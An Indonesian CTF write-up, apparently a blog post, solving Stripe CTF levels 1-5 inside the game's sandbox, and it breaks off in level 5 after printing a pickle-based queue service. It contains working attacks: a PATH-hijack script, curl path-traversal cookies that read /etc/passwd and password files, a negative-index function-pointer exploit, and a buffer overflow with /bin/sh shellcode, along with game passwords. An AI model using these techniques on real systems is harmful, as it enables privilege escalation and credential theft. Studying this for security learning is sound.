Stripe CTF Level 1-5

Beberapa hari yang lalu stripe membuat permainan wargames CTF (capture the flag). Dari semua 6 level, di tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi kalau sudah ketemu jawabannya.

Pada intinya di setiap level disediakan aplikasi dan source codenya, kemudian kita harus bisa menyalahgunakan aplikasi tersebut untuk membaca file password. Oke langsung saja mulai dari level 1.


Level 01

Seperti petunjuk di blog stripe, untuk ikut permainan ini kita harus ssh dulu ke [email protected] dengan password:e9gx26YEb2. Setelah login ssh berhasil, kita disambut dengan petunjuk permainan di level01:

Welcome to the Stripe CTF challenge!

Stripe CTF is a wargame, inspired by SmashTheStack I/O[1].

In /home/level02/.password is the SSH password for the level02
user. Your mission, should you choose to accept it, is to read that
file. You may find the binary /levels/level01 and its source code
/levels/level01.c useful.

We've created a scratch directory for you in /tmp.

There are a total of 6 levels in this CTF; if you're stuck, feel free
to email [email protected] for guidance.

Goalnya adalah membaca file berisi password /home/level02/.password yang permissionnya sudah diset hanya bisa dibaca oleh level02. Jadi bagaimana caranya user level01 bisa membaca file yang hanya bisa dibaca oleh user level02 ? Disinilah tantangannya.

Sudah disediakan aplikasi /levels/level01 dengan owner file adalah level02 dan suid bit diaktifkan, artinya aplikasi ini dijalankan sebagai (runas) level02. Karena aplikasi ini runas level02, tentu aplikasi ini punya privilege untuk membaca file password yang kita inginkan.

-r-Sr-x--- 1 level02 level01 8617 2012-02-23 02:31 /levels/level01

Tapi sayangnya aplikasi ini bukan aplikasi yang membaca file, aplikasi ini hanya menampilkan current time saja.

level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:49 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:56 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$

Mungkinkah aplikasi yang menampilkan current time bisa disalahgunakan untuk membaca file? Bila mungkin, bagaimana caranya?

Kalau ditanya mungkinkah, tentu jawabnya mungkin, sebab untuk apa membuat game CTF yang tidak mungkin dikerjakan, hehe? Oke sekarang bagaimana caranya? Tentu kita harus mencari bug yang bisa diexploit agar aplikasi yang tampaknya innocent dan hanya melakukan satu hal sederhana bisa disalahgunakan. Mari kita lihat source code dari aplikasi ini.

#include 
#include 

int main(int argc, char **argv)
{
  printf("Current time: ");
  fflush(stdout);
  system("date");
  return 0;
}

Aplikasi yang sangat sederhana, hanya terdiri dari 3 pemanggilan fungsi saja, printf(), fflush() dan system(). Dari ketiga fungsi tersebut printf() dan fflush() tidak ada masalah, yang mungkin untuk diexploit tinggal system() karena fungsi ini mengeksekusi shell command.

Fungsi system() mengeksekusi “date”, tentu yang dimaksud oleh programmernya adalah /bin/date yang menampilkan current time. Tapi dari mana OS tahu bahwa yang dimaksud adalah /bin/date bila programmernya hanya menuliskan “date” saja, bukan “/bin/date” ? Jawabannya adalah dari environment variable PATH.

Bila kita ubah PATH ke direktori lain selain /bin, maka kita bisa membuat aplikasi tersebut mengeksekusi “date” yang sudah kita siapkan untuk membaca file, bukan /bin/date yang menampilkan current time seperti yang diharapkan programmernya.

level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ export PATH=/tmp/tmp.jaJ1JT4TIp:$PATH
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ echo '#!/bin/bash -p
> cat /home/level02/.password' > date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ chmod 755 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ ls -l date
-rwxr-xr-x 1 level01 level01 43 2012-02-27 14:58 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: kxlVXUvzv

Setelah PATH variabel disesuaikan dan “date” kita siapkan, aplikasi /levels/level01 sekarang tidak lagi menampilkan current time, tapi menampilkan isi file /home/level02/.password. Hal ini bisa terjadi karena yang dieksekusi fungsi system() bukan /bin/date melainkan /tmp/tmp.jaJ1JT4TIp/date.

Level 02

Setelah mendapatkan password level02, kita ssh ke [email protected]. Lagi-lagi kita disambut dengan ucapan selamat dan petunjuk baru.

Congratulations on making it to level 2!

The password for the next level is in /home/level03/.password. This
one is a web-based vulnerability, so go ahead and point your browser
to http://ctf.stri.pe/level02.php. You'll need to provide the password
for level02 using HTTP digest authentication.

You can find the source code for level02.php in /var/www/.

Goalnya mirip dengan sebelumnya yaitu membaca file berisi password di /home/level03/.password. Tapi kali ini agak berbeda karena aplikasinya adalah web based yang dibuat dengan PHP. PHP script ini dijalankan sebagai user level03 melalui teknik semacam CGI, jadi seperti kasus sebelumnya, kita juga harus menyalahgunakan aplikasi PHP ini untuk membaca file /home/level03/.password.

Mari kita lihat source code aplikasinya:

Looks like a first time user. Hello, there!

"; $filename = random_string(16) . ".txt"; $f = fopen('/tmp/level02/' . $filename, 'w'); $str = $_SERVER['REMOTE_ADDR']." using ".$_SERVER['HTTP_USER_AGENT']; fwrite($f, $str); fclose($f); setcookie('user_details', $filename); } else { $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']); } ?> Level02

Welcome to the challenge!

Name:
Age:

Bila dalam kasus sebelumnya aplikasinya hanya menampilkan current time dan tidak membaca file sama sekali, kali ini aplikasi ini melakukan banyak hal, salah satunya adalah membaca file. Tapi tentu saja file yang dibaca aplikasi php ini bukanlah file /home/level03/.password yang kita harapkan.

Pada baris ke-23, aplikasi ini membaca file yang berlokasi di direktori /tmp/level02/, padahal file yang kita inginkan berada di direktori /home/level03/. Bagaimana caranya membuat aplikasi yang membaca file di /tmp/level02/ menjadi membaca file di /home/level03/ ?

Perhatikan lagi baris ke-23, nama file yang akan dibaca diambil dari COOKIE bernama user_details. Nama file ini kemudian digabungkan dengan string “/tmp/level02/” sehingga membentuk path lengkap file yang akan dibaca. Karena COOKIE berasal dari input user dan tidak ada validasi apapun di aplikasi tersebut, maka user bebas mengisikan nama file apa saja yang ingin dibaca melalui COOKIE.

Bila COOKIE berisi “abcd.txt”, maka aplikasi akan membaca “/tmp/level02/abcd.txt”. Namun bagaimana bile COOKIE berisi “../../etc/passwd” ? Nama file yang akan dibaca menjadi “/tmp/level02/../../etc/passwd” atau sama saja dengan “/etc/passwd”.

$ curl --cookie "user_details=../../etc/passwd" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php

  
    Level02
  
  
    

Welcome to the challenge!

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:107::/var/run/dbus:/bin/false haldaemon:x:103:108:Hardware abstraction layer,,,:/var/run/hald:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin landscape:x:105:109::/var/lib/landscape:/bin/false ubuntu:x:1000:1000:Ubuntu,,,:/home/ubuntu:/bin/bash postfix:x:106:113::/var/spool/postfix:/bin/false level01:x:1001:1002::/home/level01:/bin/bash level02:x:1002:1003::/home/level02:/bin/bash level03:x:1003:1004::/home/level03:/bin/bash level04:x:1004:1005::/home/level04:/bin/bash level05:x:1005:1006::/home/level05:/bin/bash level06:x:1006:1007::/home/level06:/bin/bash the-flag:x:1007:1008::/home/the-flag:/bin/bash

Name:
Age:

Sekarang jelas bagaimana cara untuk membaca file lain di luar /tmp/level02/ yaitu dengan prefix “../../”. Kini kita bisa membaca file /home/level03/.password dengan COOKIE user_details berisi “../../home/level03/.password”.

$ curl --cookie "user_details=../../home/level03/.password" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php

  
    Level02
  
  
    

Welcome to the challenge!

Or0m4UX07b

Name:
Age:

Level 03

Kita lanjutkan ke level 3, kali ini tantangannya kembali lagi ke aplikasi binary dengan goal sama dengan sebelumnya, yaitu membaca file /home/level04/.password dengan cara menyalahgunakan aplikasi /levels/level03.

Congratulations on making it to level 3!

The password for the next level is in /home/level04/.password. As
before, you may find /levels/level03 and /levels/level03.c useful.
While the supplied binary mostly just does mundane tasks, we trust
you'll find a way of making it do something much more interesting.

Sebelumnya mari kita coba dulu aplikasi /levels/level03.

level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03
Usage: ./level03 INDEX STRING
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 0 test
Uppercased string: TEST
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 1 test
Lowercased string: test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 2 test
Capitalized string: Test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 3 test
Length of string 'test': 4
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 5 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 100 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length

Aplikasi ini hanya melakukan operasi sederhana pada string. Dalam aplikasi ini tidak ada operasi baca file sama sekali, padahal yang kita inginkan adalah aplikasi ini membaca file /home/level04/.password. Bagaimanakah caranya?

Berikut ini adalah source code aplikasinya.

#include 
#include 
#include 
#include 

#define NUM_FNS 4

typedef int (*fn_ptr)(const char *);

int to_upper(const char *str)
{
  printf("Uppercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(toupper(str[i]));
  printf("\n");
  return 0;
}

int to_lower(const char *str)
{
  printf("Lowercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n");
  return 0;
}

int capitalize(const char *str)
{
  printf("Capitalized string: ");
  putchar(toupper(str[0]));
  int i = 1;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n", str);
  return 0;
}

int length(const char *str)
{
  int len = 0;
  for (len; str[len]; len++) {}

  printf("Length of string '%s': %d\n", str, len);
  return 0;
}

int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}

int main(int argc, char **argv)
{
  int index;
  fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};

  if (argc != 3) {
    printf("Usage: ./level03 INDEX STRING\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }

  // Parse supplied index
  index = atoi(argv[1]);

  if (index >= NUM_FNS) {
    printf("Invalid index.\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }

  return truncate_and_call(fns, index, argv[2]);
}

Unsafe Function Pointer Usage

Ada beberapa kelemahan dalam aplikasi ini. Pertama adalah pemakaian function pointer. Pemakaian function pointer bila tidak hati-hati bisa dieksploitasi untuk mengeksekusi function/code lain yang tidak diharapkan programmernya.

Aplikasi ini tidak secara langsung memanggil nama fungsi, tapi melalui kumpulan function pointer yang disimpan dalam array bernama fns (lihat baris ke-68). Array fns ini menyimpan alamat dari fungsi to_upper() di index [0], alamat fungsi to_lower() di index [1], alamat fungsi capitalize() di index [2] dan alamat fungsi length() di index[3] terurut sesuai index dalam array sehingga bila user memasukkan index 0, maka fungsi yang dipanggil adalah to_upper(), bila index 1, maka yang dipanggil adalah fungsi to_lower() dan seterusnya.

Array index out of bounds

Pada baris ke-80, ada pengecekan/validasi index, bila index >= 4, maka program akan menampilkan pesan errror kemudian exit(). Validasi ini mencegah pengaksesan array fns dengan index >= 4 karena batas atas index array fns adalah 3.

Namun validasi ini tidak sempurna karena hanya membatasi index di batas atas saja, sedangkan batas bawahnya tidak di batasi. Batas bawah index array fns seharusnya adalah 0, tapi validasi ini tidak mencegah bila index yang dimasukkan < 0 (index negatif).

Negative index array

Mungkinkah ada array dengan index negative ? Dalam bahasa C, array tidak lebih hanyalah pointer saja, dan index array hanya berfungsi sebagai offset.

Karena fns adalah array of function pointer, setiap kotak index di gambar di atas mengandung alamat memori code yang nanti akan dieksekusi bila dipanggil (dalam low levelnya adalah instruksi CALL ke alamat tersebut). Kotak index[0] berisi alamat to_upper(), index[1] berisi alamat to_lower(), index[2] berisi alamat capitalize() dan index[3] berisi alamat length(). Lalu index[4], index[-1] dan index[-2] berisi alamat fungsi apa?

index[-1], index[-2] dan index[4] sebenarnya isinya tidak terdefinisi, jadi bisa berisi data apa saja yang kebetulan lokasinya berdampingan dengan array fns. Bisa jadi isinya adalah isi dari variabel lain di memori.

Cara 1

Pada percobaan pertama saya mencoba menginjeksi shellcode dan membuat fns merujuk pada alamat shellcode tersebut berada dengan index array negatif, sehingga shellcode tersebut akan dieksekusi. Shellcode nantinya akan saya injeksi sebagai input string (argv[2]).

Bagaimana saya tahu shellcode nanti akan disimpan di alamat mana? Karena adanya ASLR (address space layout randomization), maka lokasi shellcode sulit diprediksi. Oleh karena itu saya memakai teknik CALL EAX. Dalam fungsi truncate_and_call() ada pemanggilan fungsi strncpy(), return dari strncpy() adalah address of buf, sehingga dijamin register EAX akan berisi alamat buf setelah strncpy() selesai.

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}

Setelah EAX dijamin merujuk pada buf, maka kita tinggal mencari lokasi memori yang mengandung instruksi CALL EAX (karena EAX = address of buf, maka CALL EAX = execute shellcode in buf).

$ objdump -d /levels/level03|grep call|grep eax
 8048598:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 80485df:       ff d0                   call   *%eax
 804892b:       ff d0                   call   *%eax

Saya ambil salah satu saja, yaitu call eax di 0x0804892b. Ini adalah alamat dari fungsi “call eax” (agar lebih mudah kita anggap saja ini sebuah fungsi bernama “call eax”). Alamat “call eax” ini statik, tidak ikut terpengaruh oleh ASLR, jadi bisa dipastikan dengan mudah.

Kita simpan dulu saja alamat fungsi “call eax” ini. Kita lihat dulu bagaimana payload yang akan kita injeksi. Payload ini berisi shellcode+alamat fungsi “call eax”. Shellcode yang saya pakai adalah shellcode yang pernah saya bahas di artikel saya tentang membuat shellcode untuk local exploit. Shellcode ini ukurannya 35 byte.

Jadi payload yang akan diinjeksi adalah:

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90 + \x2b\x89\x04\x08

35 byte pertama adalah shellcode, diikuti dengan 1 byte \x90 (NOP) yang hanya berfungsi sebagai alignment saja untuk menggenapi 35 byte menjadi 36 byte agar kelipatan 4. Sedangkan 4 byte terakhir dari payload tersebut adalah alamat fungsi “call eax” sehingga total menjadi 40 byte (tetap kelipatan 4). Sekarang setelah payload siap, kita harus tentukan berapa index array fns yang akan dipakai?

Pada gambar di bawah ini terlihat buf sudah berisi shellcode+NOP+alamat fungsi “call eax”.

Dengan sedikit coba-coba dengan gdb, diketahui index yang pas menunjuk pada alamat fungsi “call eax” adalah -19. Perhatikan bahwa fns[-19] merujuk pada lokasi memori 0xfff62560 yang berisi 0x0804892b (alamat fungsi “call eax”). Jadi seperti halnya fns[0] berisi alamat to_upper(), fns[1] berisi alamat to_lower(), maka fns[-19] berisi alamat fungsi “call eax”.

Step by step di gdb sudah menunjukkan hasil yang positif. Sebelum mengeksekusi CALL EAX, register EAX sudah merujuk pada lokasi shellcode, sehingga CALL EAX = CALL SHELLCODE.

Namun ternyata setelah dicoba CALL EAX, muncul error segmentation fault.

Ternyata penyebabnya adalah non-executable stack:

$ readelf -l /levels/level03 |grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
$ fvvvvv

Padahal bila dicoba dengan executable yang flag stacknya RWE, cara ini bisa berhasil dengan mulus.


Cara 2

Oke, ternyata cara pertama gagal karena ternyata flag stacknya RW, bukan RWE. Sekarang kita coba cara lain. Perhatikan pada baris ke-50 ada function run() yang isinya adalah memanggil fungsi system(). Fungsi ini ceritanya sudah deprecated jadi alamat fungsi run() ini tidak dimasukkan dalam kumpulan function pointer di array fns seperti to_upper(), to_lower(), capitalize() dan length().

int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}

Walaupun alamat fungsi run() ini tidak masuk dalam array fns, tapi tetap saja sebagai sebuah function, run() tetap memiliki alamat.

level03@ctf6:/tmp/tmp.K9T2uxWAMl$ objdump -d /levels/level03|grep ''
0804875b :

Dengan objdump kita mendapatkan alamat fungsi run() adalah 0x0804875b. Alamat ini harus kita masukkan ke buf, kemudian dengan index negatif, fns akan mengambil alamat fungsi run(). Payload yang akan kita kirim sebagai argument program (argv[2]) adalah:

cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08

Di dalam payload ada “\n#” yang fungsinya sebagai comment, sehingga 4 byte terakhir akan diabaikan (tidak dieksekusi). Adanya 3 new line sebelumnya (\n\n\n) fungsinya hanya untuk alignment agar total payload panjangnya 36 (kelipatan 4).

$ gdb -q --args /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"

Breakpoint 1, truncate_and_call (fns=0xffb23ffc, index=-20,
    user_string=0xffb2591f "cat /home/level04/.password\n\n\n\n#[\207\004\b")
    at level03.c:62

(gdb) x/12xw &buf
0xffb23f8c:     0x20746163      0x6d6f682f      0x656c2f65      0x306c6576
0xffb23f9c:     0x702e2f34      0x77737361      0x0a64726f      0x230a0a0a
0xffb23fac:     0x0804875b      0x00000000      0x00000000      0x00000000
(gdb) p &fns[-20]
$1 = (fn_ptr *) 0xffb23fac
(gdb) p *(fns[-20])
$2 = {int (const char *)} 0x804875b 

Dari gdb terlihat bahwa payload kita sudah masuk dalam buf (0x20746163 = “cat “, 0x6d6f682f = “/hom” dst). Akhir dari payload kita ada pada alamat 0xffb23fac, berisi 0x0804875b (alamat fungsi “call eax”). Kemudian kita mencari selisih antara alamat fns (0xffb23ffc) dan lokasi dalam buf yang berisi alamat fungsi “call eax” (0xffb23fac) dalam kelipatan 4. (0xffb23ffc-0xffb23fac)/4 = 20, sehingga indexnya yang pas adalah -20. Jadi kini fns[-20] berisi alamat fungsi run().

Seperti yang lainnya juga, bila user memasukkan index 0, maka yang dipanggil adalah fungsi to_upper(), bila user memasukkan index 1, maka yang dipanggil adalah fungsi to_lower(). Begitu juga dalam exploit ini user memasukkan index -20, maka yang dipanggil adalah fungsi run().

$ /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
i5cBbPvPCpcP

Akhirnya berhasil juga mendapatkan password level04, yaitu i5cBbPvPCpcP.

Level 04

Kita lanjut lagi ke level 04. Sama seperti sebelumnya, kita harus menyalahgunakan aplikasi /levels/level04 untuk membaca file /home/level05/.password

Congratulations on making it to level 4!

The password for the next level is in /home/level05/.password. As
before, you may find /levels/level04 and /levels/level04.c useful.
The vulnerabilities overfloweth!

Dengan percobaan dibawah ini terlihat bahwa ini adalah contoh klasik buffer overflow.

level04@ctf5:/tmp/tmp.NGRBxhqLuX$ gdb -q --args /levels/level04 $(perl -e 'printf "A"x1100')
Reading symbols from /levels/level04...(no debugging symbols found)...done.
(gdb) r
Starting program: /levels/level04 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Source code dari aplikasi ini adalah:

#include 
#include 
#include 

void fun(char *str)
{
  char buf[1024];
  strcpy(buf, str);
}

int main(int argc, char **argv)
{
  if (argc != 2) {
    printf("Usage: ./level04 STRING");
    exit(-1);
  }
  fun(argv[1]);
  printf("Oh no! That didn't work!\n");
  return 0;
}

Buffer overflow bisa terjadi pada baris ke-8, bila fungsi strcpy() menyalin isi str yang panjangnya lebih besar dari 1024 ke dalam buf yang panjangnya terbatas hanya 1024.

Kita gunakan pattern_create dan pattern_offset dari metasploit untuk menentukan dimana posisi return address. Dengan pattern_offset berhasil diketahui bahwa posisi return address adalah pada byte ke-1036. Dengan mengetahui offset ini payload yang akan kita kirim komposisinya adalah:

[1036 byte shellcode + lain2] + [4 byte return address]

Setelah mengetahui offset, selanjutnya adalah menentukan kemana harus return? Kita harus menentukan return address agar shellcode kita tereksekusi. Kita lihat dulu, apakah ASLR diaktifkan di mesin ini?

Ternyata alamat stack pointer berubah-ubah, artinya mesin ini mengaktifkan randomize_va_space atau ASLR. Ini akan menyulitkan kita menentukan return address, sehingga kita harus menggunakan teknik yang sama seperti di level sebelumnya, yaitu teknik CALL EAX.

Kenapa harus CALL EAX ? Karena dari source code baris ke-8, terlihat ada fungsi strcpy(), jadi dijamin isi register EAX selalu berisi lokasi buf setelah fungsi strcpy() selesai dipanggil. Karena EAX berisi lokasi buf, dan buf akan kita isi dengan shellcode, maka CALL EAX = CALL buf = CALL shellcode.

$ objdump -d /levels/level04|grep call |grep eax
 8048438:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 804847f:       ff d0                   call   *%eax
 804857b:       ff d0                   call   *%eax

Dari objdump kita mendapatkan alamat yang mengandung instruksi call eax, yaitu 0x0804857b (saya ambil salah satu yang paling bawah). Alamat ini statik, tidak ikut berubah karena ASLR, jadi kita bisa pakai sebagai return address. Sama seperti level sebelumnya, kita memakai shellcode yang panjangnya 35 byte yang kita posisikan di awal buf.

Karena shellcode dan byte lain-lain panjangnya 1036 byte, dipakai untuk shellcode 35 byte, masih ada sisa 1001 byte lagi. 1001 byte ini hanya sebagai filler, boleh diisi oleh byte apa saja, asalkan bukan null byte (\x00) karena null byte adalah penanda akhir sebuah string. Jadi kini payload kita menjadi:

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x99"x1001 + "\x7b\x85\x04\x08"

Sekarang payload sudah siap, bisa langsung kita coba.

level04@ctf5:/tmp/tmp.NGRBxhqLuX$ whoami
level04
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ /levels/level04 $(perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"."\x99" x 1001 . "\x7b\x85\x04\x08"')
$ whoami
level05
$ cat /home/level05/.password
fzfDGnSmd317

Level 05

Oke sekarang kita lanjut ke level 05. Berikut adalah petunjuk level 05.

Congratulations on making it to level 5! You're almost done!

The password for the next (and final) level is in /home/level06/.password.

As it turns out, level06 is running a public uppercasing service. You
 can POST data to it, and it'll uppercase the data for you:

  curl localhost:9020 -d 'hello friend'
  {
      "processing_time": 5.0067901611328125e-06,
      "queue_time": 0.41274619102478027,
      "result": "HELLO FRIEND"
  }

You can view the source for this service in /levels/level05. As you
can see, the service is structured as a queue server and a queue
worker.

Could it be that this seemingly innocuous service will be level06's
downfall?

Source code aplikasi ini adalah:

#!/usr/bin/env python
import logging
import json
import optparse
import os
import pickle
import random
import re
import string
import sys
import time
import traceback
import urllib

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

LOGGER_NAME = 'queue'
logger = logging.getLogger(LOGGER_NAME)
logger.addHandler(logging.StreamHandler(sys.stderr))

TMPDIR = '/tmp/level05'


class Job(object):
    QUEUE_JOBS = os.path.join(TMPDIR, 'jobs')
    QUEUE_RESULTS = os.path.join(TMPDIR, 'results')

    def __init__(self):
        self.id = self.generate_id()
        self.created = time.time()
        self.started = None
        self.completed = None

    def generate_id(self):
        return ''.join([random.choice(string.ascii_letters) for i in range(20)])

    def job_file(self):
        return os.path.join(self.QUEUE_JOBS, self.id)

    def result_file(self):
        return os.path.join(self.QUEUE_RESULTS, self.id)

    def start(self):
        self.started = time.time()

    def complete(self):
        self.completed = time.time()


class QueueUtils(object):
    @staticmethod
    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job

    @staticmethod
    def serialize(direction, data, job):
        serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
        logger.debug('Serialized to: %r' % serialized)
        return serialized

    @staticmethod
    def enqueue(type, data, job):
        logger.info('Writing out %s data for job id %s' % (type, job.id))
        if type == 'JOB':
            file = job.job_file()
        elif type == 'RESULT':
            file = job.result_file()
        else:
            raise ValueError('Invalid type %s' % type)

        serialized = QueueUtils.serialize(type, data, job)
        with open(file, 'w') as f:
            f.write(serialized)
            f.close()


class QueueServer(object):
    # Called in server
    def run_job(self, data, job):
        QueueUtils.enqueue('JOB', data, job)
        result = self.wait(job)
        if not result:
            result = (None, 'Job timed out', None)
        return result

    def wait(self, job):
        job_complete = False
        for i in range(10):
            if os.path.exists(job.result_file()):
                logger.debug('Results file %s found' % job.result_file())
                job_complete = True
                break
            else:
                logger.debug('Results file %s does not exist; sleeping' % job.result_file())
                time.sleep(0.2)

        if job_complete:
            f = open(job.result_file())
            result = f.read()
            os.unlink(job.result_file())
            return QueueUtils.deserialize(result)
        else:
            return None


class QueueWorker(object):
    def __init__(self):
        # ensure tmp directories exist
        if not os.path.exists(Job.QUEUE_JOBS):
            os.mkdir(Job.QUEUE_JOBS)
        if not os.path.exists(Job.QUEUE_RESULTS):
            os.mkdir(Job.QUEUE_RESULTS)

    def poll(self):
        while True:
            available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)]
            for job_file in available_jobs:
                try:
                    self.process(job_file)
                except Exception, e:
                    logger.error('Error processing %s' % job_file)
                    traceback.print_exc()
                else:
                    logger.debug('Successfully processed %s' % job_file)
                finally:
                    os.unlink(job_file)
            if available_jobs:
                logger.info('Processed %d available jobs' % len(available_jobs))
            else:
                time.sleep(1)

    def process(self, job_file):
        serialized = open(job_file).read()
        type, data, job = QueueUtils.deserialize(serialized)

        job.start()
        result_data = self.perform(data)
        job.complete()

        QueueUtils.enqueue('RESULT', result_data, job)

    def perform(self, data):
        return data.upper()


